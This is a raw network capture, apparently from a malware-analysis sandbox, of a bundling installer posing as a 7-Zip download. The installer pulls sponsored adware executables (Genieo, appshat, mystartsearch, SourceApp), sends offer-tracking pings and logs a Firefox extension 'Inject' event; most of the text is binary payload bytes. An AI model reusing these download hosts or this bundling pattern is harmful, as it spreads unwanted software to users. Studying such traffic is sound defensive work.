
Cache-Control: max-age=600

Content-Encoding: gzip

Vary: Accept-Encoding

X-Cache: RefreshHit from cloudfront

Via: 1.1 6a9941488f8c4d7cfc9d159decc6f1d1.cloudfront.net (CloudFront)

X-Amz-Cf-Id: Rjk77nNE6KEs-QN1WlMRAYBhtFZncUDnWq5pNjlLofU5rx4fsXdZyA==
1b75.............\...Gv.-?E-.Xq...$...>f!.....V$y...,..".V.......0.
.H....5.(~..s...j..d..G..3lvWW.....{k....7Wo........{.../._......O....
.y....o.z..O..7MV.EW.UV^\|....V].yxq.....O.u..x....c.....y.<9..|t..
cy.....''....g...r..r.h.M..\...'...t..g..^..".2..2.j..z......b.'....U^
..K....7..k.j.~...]l.9.v../..s....=......E.-.?....!.....O.T..<.w?.}
...7.y.vYY.f...p...'.....2................,..^......_g.k...`.... ...f3
....w.z?.5.......?.........?.xJ....?....z.Q(.U.... P>..qyq..Ct.....
g.....o^...W......|.a.w...W. ...........n_.. ../............`Iy=..1,w.
........l.u.........{...&eQ}H..7>..=;..............4.v~<j|9..ZN.
..zI...Z9.8..y.~.f..h....r..l..U~.*.|.W..&3..-......u..w.ww'..[t...X..
....._..]~....k.en...H..h.-....x...#.Y.._...../.yg^.u......{.K..Y..CwO
>.VE.........f..r}QW.y[.........-.uQ........M..w?....y%E.^i....y.)`
...h.....5.._p...7..w..V...72.}-3...H...~.=t.....;z..H...]...h.?..?Abp
.....f.....U]...[<...o..........:8..M..........\....vUo..k.J....[.K
..nQ.e.._.S..:<.....6...............u.zS....Y..x.*.....;......B<
}.E6Y...t..2..&..jB.G..e}....g.,..5.~.t......3.4....x....8..u1.".M\..M
Qf3.3V..w....W":.j.8..6n.B:..`..v...#x..Icb..9.-:.H..u^,....*g......9.
..0...(.V[F.G.Wo|.......h.6uY..3......_M...b....'.B.4.u6......m...S.Lw
.......M4k.......m9.....U.......[../[email protected]....:.s.....Y...g...%..D.
I....B..k.......U.G.Lxo%.....$.N.......%.W38..0P.d[..B.....E..x...V.o6
[email protected].*6....;/.b..
;..3.04M.Z..........j..<F.F.t(..G.=.....UU.4uO.}..b..5.b ...&u]<<< skipped >>>

GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1

Range: bytes=123551-

User-Agent: Better Installer(Mozilla)

Host: download.genieo.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

x-amz-id-2: u6LQdkrSzLQd7eKsaFi25PcOhIW/vZLxWAgHa9wxqZOAJj3I6bCv5lr77LGMZkW88MfsQSI TK8=

x-amz-request-id: F3C1FAB0F4C6BF7B

Date: Tue, 24 Feb 2015 00:02:19 GMT

Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT

ETag: "d65611fbc4da8cea4e886076bec82d1e"

Accept-Ranges: bytes

Content-Range: bytes 123551-988407/988408

Content-Type: application/octet-stream

Content-Length: 864857

Server: AmazonS3
.[J.w...qYt\M.Fz.4.*.......o.....1K.pE..2....CpY%...~45...'...E...o.$.
...H.h..;o.r.~.98....'...Y.E........r.....C....'!^....i.=.*.(.........
.."...s...v..u..-."...Nm2\[email protected]>.-..\....I....z
.n?.......2...^..?/...a'..".A...D6P....Q.F....<.B6.a<{\..1V..' .
..3/...a.*..MkJ.....$ ...=b.z..5...#..O.W......^O..K...s....>..6.f!
<.S.{. '..Ich...h...f...8<\<`..ff.Y;.<=......:E.f|.Aj..*nN
/....[.S.l.....U....\........k....#p........>.Nvg....c..Q.....k...p
..q....;..<.....l..<..\y....{...fH...F..... [....B...Y.'..T..w.a
..9.....cCW.'S.k.......7.CY.t.....(.)IX...W...........T.......M/......
.uzfBNU.y.....s...W,&.>B....{E...^.v...%<...R...w........<.E=
c.. [email protected]..%..M][email protected]#R..X2X.5uUZ.Q.....
.tM.k.u.O.....G.Vz...,.JZ&J.'[email protected]
[email protected]..=v.....s;.Y...Zfy..e..m.G..0..i=.Y.$..ok...I .V...,.A
...K.gB..c..,.AEfS\....;.9.J..{//>.x_.t5i.6k}....I......I....R.....
..O..d..Y6eD.kG.Aj..,.....u...2Be....WRU?.36...9..N....l;.m..y....\...
...g.m'.Q..%f.#../......Yoe.......j."&.-.WB..'W.J|2..R^p\.2}.S^.[j.3..
3M.d..}1....}.X;[..f?o.h..W...[N..Q.P.JI...fc...E..bkhW.;&.f..........
AY.p...t.....3UP.^-'G..7.e.nL .!i\q{...M.'..=.K&.-..!.9<......p.bhX
.......[Tz1.k..n.QD.....>F..$.$9x.Q..f.e_.0...j.<...d.Y..MKL....
..8.;h.w.g...Q.{q..B..f4.O...hk.bf;.[)..._...DE8C.(I/..*..z.:.....s.#O
...[)(.lA.zC...b}..P.S.X..o....Z..0.....Y.$....mu..C...J..p....I.s~z..
Kr...Y..c:....Y..a.....z%. 7L...8t^..w..d..df...Yt...9.......Ru...<<< skipped >>>

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: d29brepyudd8sp.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 285558

Connection: keep-alive

Date: Sun, 22 Feb 2015 06:06:45 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 0-285557/285558

Age: 714

X-Cache: Hit from cloudfront

Via: 1.1 3abf650c7bf73e47515000bddf3f05c0.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 8B3lxXAqcFh2HEfogvBtL4wyO_vzYeLiaAyDIltePbsPFF2MGGmVUA==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
......@...............................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
[email protected]..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..<<< skipped >>>

GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=428401b2724ce34c9657f205e14d247c&uniqid=false&affiliate_id=awde7zip23678&software_id=7zip&sponsored_id=appshat_madness&tokyo_csrf2_key=73a4128c495a26c35337a5d3065bd25c&tokyo_csrf2_timestamp=1424736134&slot_number=3&index_in_screen=1&index_in_session=3&display_height=90&0.5017355730589932 HTTP/1.1

Accept: */*

Referer: hXXp://installer.filebulldog.com/awde7zip23678/7zip/428401b2724ce34c9657f205e14d247c?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: installer.filebulldog.com

Connection: Keep-Alive

Cookie: __utma=1.1232722804.1424736155.1424736155.1424736155.1; __utmb=1.1.10.1424736155; __utmc=1; __utmz=1.1424736155.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 00:03:21 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Tue, 24 Feb 2015 00:03:21 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1

Range: bytes=247102-494204

User-Agent: Better Installer(Mozilla)

Host: download.genieo.com

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

x-amz-id-2: CErzjSPqJ0bl4R1kJlRNOJqJfxx/M3d39cUz2Y4jpYCIsA8DSfU uLsVRsU VQZiJQD3E9umlS8=

x-amz-request-id: B724D3B8CDBB476B

Date: Tue, 24 Feb 2015 00:02:19 GMT

Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT

ETag: "d65611fbc4da8cea4e886076bec82d1e"

Accept-Ranges: bytes

Content-Range: bytes 247102-494204/988408

Content-Type: application/octet-stream

Content-Length: 247103

Server: AmazonS3
-s...R.... .e.>7........... )..51.n4..@..)....ck.../.01-. Z?L....k.
...O..<2Ma....7..r.2....j....O.".A......dK..&G..Hj6.(.P....ZxVA.>
;...Sr.l:.86....6bq.....>.d-p~R{..jI.L..M. .8O....q..[..J4...T..l..
...m.......)e.C..A....I,cPy2|.."-...".M.O..v...=Q......|.......'..Z..I
}....Dw.....f.i...m.~.o..H'.j.....&.agE.`._`.>...[.:O...^4......3..
.7.{[email protected]...<......BY..4C.}..Qf.'(.....rRf?...q.=|....|....
[........E..Gu...oD2 ...E/....2$..k......o......E.. h.....s7..ouq...N.
.".o.....L.....%.8-...zG.._.|.B{.e(w.iy.....ALA.}.,.cf1%ZE-.U.....oa.F
.~|o.":,.N.s...N.^x....GT..(.!..oy'.N..?.L....7...)..f1nS.P.6....._v..
....._)S......`....qe0.d.DI............sq..su...{j..Y..'...;..6.{..@..
Os3p4T8.z...8....L.Q.F...H../...b...(..k._..z.a...f...0......}.......P
.|-.3.g...<.,w=P.tk_$..p..\,...K..*..........S.....l&..^C.q.J...OD.
..$..T..x...`........:Ea#"...fv....p.u.YWE.........m..E...CV....=sR...
=W.DC..jQ..o.74;9 .5y^.H&f.3..|X.......w. ..^./E...X..lC.|.hR.. ...._J
r..v...E..X~.D.Q.......5.>...A..v ...a~=..F ..{a"....yj F..].n.....
.=1H<.Z...n}.1.;.!7U3..........G..N...T......A.........m .....PcC\C
ek.w.........J.a....{*.>.u..]9.....2K.}.G@........$-H....=9....f&f.
.6l...M...u ..k.N).O..8J.~........i ..`5.........r..g`..../...E.....R.
..P......l$r.GTJ...\...v9..Y.D.!&e..aq...)%.'.[.....Pgx..../.PQ..yv..D
...#...m.|P!.l..s.$.q&=..d6T.jQ...]d....7c ...ll.s...X..`T.(Da.P..b..!
....A>..n."..H.....Rrc...C.T..J]Jx\*.....l...q2..q...R......?9..4l.
....F..3`{..x.`..d^.g............C..t.G.'xdA>y...m....m~..."..~<<< skipped >>>

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=249864-

User-Agent: Better Installer(Mozilla)

Host: d29brepyudd8sp.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 35694

Connection: keep-alive

Date: Sun, 22 Feb 2015 06:06:45 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 249864-285557/285558

Age: 786

X-Cache: Hit from cloudfront

Via: 1.1 761f19bc2f5721b0be0a41147e1e925f.cloudfront.net (CloudFront)

X-Amz-Cf-Id: bl6fQG7WwKi2sQv8M139ee4jjnxpWZCMwl3aDqgByjYOzHLsDAUpSg==
..X..9f.q...%.@_e../xo....nFE5..b:.....I..}..ELr.......b.....=..Bq.G._
...|.eh:..B_]...'.q.T..XMz4N.@.....?.....Kg.I....f&.\.B6...........f..
Ff...,...i0E["...A/#.).....P..]..,.[..$.../..Q..>'...F.1.=.h.C ..l.
..Vc..^K]....z.Dp.<6.. .=..%$`.G...'..h..'"#......!^..}F7g..[.K..n~
.s..4fo%.K.....M...-......GM|V.......N..o...(.,........1...=...J{....~
v..C...HwM'rg=...Y..Y>Rj.[....=Xh%P.F(...Ph.D&..S.....EF..7....\.Z.
&/`..1q......(./..A.WWs.....L...:^.`....:......z.7.m.c.Xj(...z.....z._
.Y.Z.<..m....-F..-r.......yV....;\~....P...`qR..ue..Pad"..8.f&1/.w%
.e...m.....M].c..C.}.%_.s.WQxQ..1.WO.Ea.76.~..r.&..9..%8.0.......xE..$
..a/..*z.;khi.k".<}.....v....0)..a.&..Z..n..a|P.gjT....C.....[..W.g
.4.k|a.Zw-....k...?.{.......ZM......_.>i.@.`<#...y.S.<.;..kf.
.u.....6....$..}2..6.....h.U#.......j..=.{.4..}....@)..K...%...z^cxR."
.b....j.....T....U?is.3..L.D-v..{P....P....\...*..........NI.n.y...M..
..@...?d`N..k^...}....o5U.(..:'..|.c..wQ....)..T..y..uz.8......H...A..
..'}5....W.....u...@ ...s)........x..d.X.zz.p.....(.......c1..g.......
S..Q....Ae..&P;7./...A...%)'....~.q.T.3..j2..1..S.C..Dq.`...c.yZOpP..1
...z...D.3.f.__.F:.H......I..@.~...t..c.p.W.U."...1].>9..d:...i.6..
.....G{.mh..'...d..|{....:<.TZ..2I...._yI.fpG....S.??,[email protected]=r
.....{z.Q...Q.~.......t......1.]..Sf(.QD...6.%...5\.&HW......h.n*.j.cn
k..]....fz....W@... ..w...}.8...h.`n...........9>o.0.....pa.....U..
\e..%J.....`....OF.{.P &.....v..bk..n.c.M&..(.....8e.YZMw..R.M]Qa....o
.p.$g.D._.C...5........F.Pu{..n6...[.....T.&..N^[email protected].`2.<<< skipped >>>

GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=428401b2724ce34c9657f205e14d247c&uniqid=false&affiliate_id=awde7zip23678&software_id=7zip&sponsored_id=geneio_non_search_for_pc&tokyo_csrf2_key=73a4128c495a26c35337a5d3065bd25c&tokyo_csrf2_timestamp=1424736134&slot_number=4&index_in_screen=1&index_in_session=4&0.9615760237737956 HTTP/1.1

Accept: */*

Referer: hXXp://installer.filebulldog.com/awde7zip23678/7zip/428401b2724ce34c9657f205e14d247c?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: installer.filebulldog.com

Connection: Keep-Alive

Cookie: __utma=1.1232722804.1424736155.1424736155.1424736155.1; __utmb=1.1.10.1424736155; __utmc=1; __utmz=1.1424736155.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 00:03:57 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Tue, 24 Feb 2015 00:03:57 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......

GET /pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=428401b2724ce34c9657f205e14d247c&uniqid=false&affiliate_id=awde7zip23678&software_id=7zip&sponsored_id=mystartsearch&tokyo_csrf2_key=73a4128c495a26c35337a5d3065bd25c&tokyo_csrf2_timestamp=1424736134&slot_number=1&index_in_screen=1&index_in_session=1&0.9388066883255415 HTTP/1.1

Accept: */*

Referer: hXXp://installer.filebulldog.com/awde7zip23678/7zip/428401b2724ce34c9657f205e14d247c?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: installer.filebulldog.com

Connection: Keep-Alive

Cookie: __utma=1.1232722804.1424736155.1424736155.1424736155.1; __utmb=1.2.10.1424736155; __utmc=1; __utmz=1.1424736155.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 00:03:57 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Tue, 24 Feb 2015 00:03:57 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 00:02:19 GMT

Content-Type: application/octet-stream

Content-Length: 1110476

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Accept-Ranges: bytes
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
.................... ...............................................s.
..........A...........................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
rc....A.......B...v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..<<< skipped >>>

GET /sd?is=sm HTTP/1.1

Range: bytes=72894-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP004C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Wed, 25 Feb 2015 00:02:16 GMT

Date: Tue, 24 Feb 2015 00:02:16 GMT

Content-Range: bytes 72894-583151/583152

Content-Length: 510258

Connection: keep-alive
...........?....6..t..V.?..h..=..O5..KK........;[email protected].:../.
;.....|I..h... ^.>..nH.R..7.uO..G.5.f..?..P..Cq....>. B..qi....\
...u*]...9.?1...._...._i...O.EX........0'.......w...xQ.2.l..o..T../
..>..5.f...J...V7....X;.@S..<....%m{..."...^Q!Gw........o.....(9
..........k].kr5#.L.. ..RJ........J.{./..%....S...)...,.../..e.4.u..eL
..w..(....:....EK.O.....0S.u.......d..7.o..%x...^.5.km)..}u.3...]. e.C
)..........E..@X.......@P...........:.u..1.D.:t.5.i9V)x....@n ...U]."0
.>..z...x...^s......Ui.}.^.A.*."Q...b.i.[.:.#4a.......~..c...=.Hmiv
.l..l..o_Pk.M...{.1.Y.J#...<....h.(..~`...6.^.....w..pO.]....f...
.....n[e..&1..H..$..Z.R$;ngY.!G.".....dTWA..<...X.0..^..:I>.....
..P...:.||...64..ow.f.....a..(.d2=.-3($\).|[email protected]..(h...
.b.Ks...]...`.r.EI.9l....t..=.....4.,:.7.*..........D.p.X...4....n?m..
.AH.,{..9q.`'pGu..`$u....`.J..)..E.....]4.SB..g...C..I`o......q...)...
&.%...... .g....7}rg.M..cs..l:......./P.e..u$.W.&.U==wD.......S...E,W,
v[u........G./..q......B..P.b.:.t./..\.......s....M....#....%XZ..l.r .
..AT....Q..;.._.7...]!..E..Zu..O. .P..D..O,.H[.94.y.J....IY...N......n
......uU...C..R|{%9....X].Y...Bq...L.....`......R=...m$*...7.....U..*.
....t..!/hBm<...=..#.)...E.......ic5@.... /o.%..U.o.,.....h........
.x.6.......:....@h!.zylWP..E.....?R:...W..E,.,c7.8.... .y2.f`..x.[..Pv
.~S. .q.~..W.......Y.*[email protected]@6..
[x).8....B.Q.i.K.d(...Im.....8...(..V...9......K....f..}...... ..|....
i....%y-2....Y.p&C&P..uW.=....:.........k...g.l_...#....~.SJ.d.B.'<<< skipped >>>

GET /mirror/mystartsearch/default/setup.exe HTTP/1.1

Range: bytes=241224-

User-Agent: Better Installer(Mozilla)

Host: d32c8485dhfcya.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 80408

Connection: keep-alive

Date: Sun, 22 Feb 2015 06:36:11 GMT

x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590

Cache-Control: max-age=3600

Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT

ETag: "31f8d1cffb02dff93646f81d8ce3dd75"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 241224-321631/321632

Age: 1013

X-Cache: Hit from cloudfront

Via: 1.1 e4438a14707a01f6102dc21875d75080.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 9sduabexZCSGwrruyeyQWeasiQhjnWrau9IomsU1uXvp-kKinz1xnQ==
.........$C......?AVbad_exception@std@@[email protected]...........
..?...................C...d=C.`=C.\=C.X=C.T=C.P=C.L=C.D=C.<=C.4=C.(
=C..=C..=C..=C..=C..=C..<C..<C..<C..<C..<C..<C..<
C..<C..<C..<C..<C..<C..<C..<C..<C..<C..<
C..<C..<C..<C.|<C.p<C.l<C.h<C.\<C.H<C.<&
lt;C.............4<C.,<C.$<C..<C..<C..<C..<C..;C.
.;C..;C..;C..;C..;C..;C..;C.x;C.p;C.h;C.`;C.X;C.P;C.H;C.@;C.8;C.0;C.(;
C..;C..;C..:C..:C.`;C..:C..:C..:C..:C..:C..:C.x:C.p:C.h:C.T:C.,:C..:C.
......................................................................
........................C...............C...............C.............
..C...............C...................................C..........'C. ,
C..-C...C...C...C. .C.................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
.............AC..AC.hAC.XAC.<AC.(AC..AC..@C..@C..@C..@C..@[email protected]@C
[email protected]@[email protected]@C.(@C..@C..@C..?C..?C..?C..?C..?C.T@C.|?C.d?C.T?C.&<<< skipped >>>

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=35695-

User-Agent: Better Installer(Mozilla)

Host: d29brepyudd8sp.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 249863

Connection: keep-alive

Date: Sun, 22 Feb 2015 06:06:45 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 35695-285557/285558

Age: 786

X-Cache: Hit from cloudfront

Via: 1.1 f989b812753677758cd8909391e239ac.cloudfront.net (CloudFront)

X-Amz-Cf-Id: yPLnN2Kaa9lGxBDg0tDMaXJUaMlkR-agNap4-qVoPul1PDB1mpgauA==
[email protected].>>>.555.,,,.&&%.!!!.............
....................$"".)''..,,.200./--.*((.866.QOP.qpp....=..........
......................................................................
........................................776.........%##.=<<.ecc.
............ihf.OON.>>>.444.   .&%%.#!!......................
...........%##.,'(.0...100. )).-  .@>>.XVW.~}|..................
......................................................................
.....................................AA@.   .....&$$.<::._]].......
......kih.POO.>>>.444.   .%%%.#!!............................
.#%%.''&.-)).1...0//.*((.200.HFF.`^^..................................
......................................................................
........................_JJI.##$.....##$.<<<._^^.............
kih.POO.>>>.444.   .%%%.!  .........................!!!.$&%.(
((.-**.3.0./--.*((.644.LJJ.ecc....k...................................
......................................................................
..................9UVU.&&&.....!!!.999.___.............lki.PPO.>>
;>.555.,,,.&''.!##..  ......................  ."&%.())./ ,.4/0./  .
 )).:88.RPP.hee....3..................................................
......................................................................
...!`_^.,  .....   .444.YYY.............kmi.OQN.>>>.545., ,.&
%&.#!#.......................... ..#"!.)&&./,-.310.,)(.-**.><<
;.SRR.nnm.........................................................<<< skipped >>>

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: d29brepyudd8sp.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache



......................................................................
......................................................................
......................................................................
...............................................................U....\.
}..t .}.F.E.u..H.....>[email protected].>B..E.WP.u.
[email protected]@..}[email protected]... M.......M..
..3.....FQ.....NU..M..........VT..U.....FP..E...............E.P.M...Hp
@[email protected]}[email protected].}.j.W.
[email protected]@[email protected] [email protected].
W...u....E.P.u...\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.
>B.sB..i......D.......t.G.....t...O..t .....u...3....3...F.....;5.&
gt;B.r._^[...U..QQ.U.SV..i........>B.3...W.M..M..F...t.9M.t.$.B.F.;
..>B.sD..i......|...B......t.j.R..........u([email protected].;.
.>B...r.3._^[.....}..t..}[email protected]$...>B.V3... 
s495.>B.v,.P.W....u.3.G...z.t.....$...F......;5.>B.r._^...U.....
..>B..e..SV.....W.=.>B..E..E.3.9.tK;.sE.5.>B.........u(.E...t
..<[email protected].#....M...;.u.C......;.r.;.t..E..E...}. r..E._^
[.....D$...}.@..@B.... .Q.WG.....V.t$..j.....>B.k.....8.t\P.....=..
[email protected].... ..|$..t/[email protected].....
t$...Dr@...}.3.^...........D$....>[email protected]$...:.....
U..........>B.SV.u.Wj.Y.}..E.3....E..U..........@B..].........M...h
[email protected].......$..(@.SP.m:...r.....l6B.9][email protected].<<< skipped >>>

GET /app/ping.ashx?e=ZuS0/O3oV2pO8QLglJiczkeur3PsxN4K9F8PB1R1S2ACRfzZy NK/GdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUPnN75nI7N3JQ8lOqQCf9KrCzd1pE lMJTJyqFZ2qF63ybiCNsp2cHm&product=EXTFirefox&rnd=1424736267&it=1&action=Inject&text=GoobzoInfo HTTP/1.1

Host: rep.shopper-pro.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:04:08 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Tue, 24 Feb 20
15 00:04:08 GMT..Content-Length: 0..

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=277619-555238

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Tue, 24 Feb 2015 00:02:19 GMT

Content-Type: application/octet-stream

Content-Length: 277620

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Content-Range: bytes 277619-555238/1110476
.../cXh~.Q....mj..Yt..>...(.e....(...kiq...lSR>...?... .N?.[c6..
.C.(.pA.,.*..F...Y.Ij.j..p.%.r..e..h&...{-.....R^...`9.1PO6\8..>...
...Q"Rg.Z......Too...?.<....J..=,.q...}y.=.T..*W...C9..].........^e
."T..`.&F..M...^-6Wz_:..YW.B.......'......O;,k..".gGP..<$-..1 .;.s|
X....-....%,....@.]AU.. ..\ko... .w~g..1K.......;A..|.r..%............
........... .)..2....e..<.J.i."....c..oZ...TE..j...........H..,8W.c
..ST.zz.M.;-Pk5z...y..r.W~.;(F7,........w5...Ef...9Eo..[.Q...\.....9..
f6...j.mq*pRc..Z*.R..IW...j4Y.D ...T...Sn_.0.tY[/g./]ehAw..@<W.....
.0QO\Cj(.C.-.......*..5|.-.0..$.V..pX...T........HA.....}..........}.;
. ....LPV.X..0W..H.........z..F(.o.:........Fd.'C..= . ..e.....%Z.t...
.t.Bz.?...s.....L...ds....[....dr.....E(.z)vD17...d...m... ..........m
s..g...8V._x.X..D..g.WQ&....$...}o.Q5u..#6.. .`.......~..%.ir.W....zoY
I1b.......t`.2t.U.~5....t.......jd..rv.O..........s.o.}....A....9..o%.
..j.....R.LQ[.9qY1d?..?n.F.........*F}.b-.P`....y.6.=n...Kge}onq..u%.O
|.X>..."]..%H.;[email protected].. ........^...*.--....^n3.....2A....
...,..Wg./.........p>....ci.........w..2.g...6^:.`..b... .'r.......
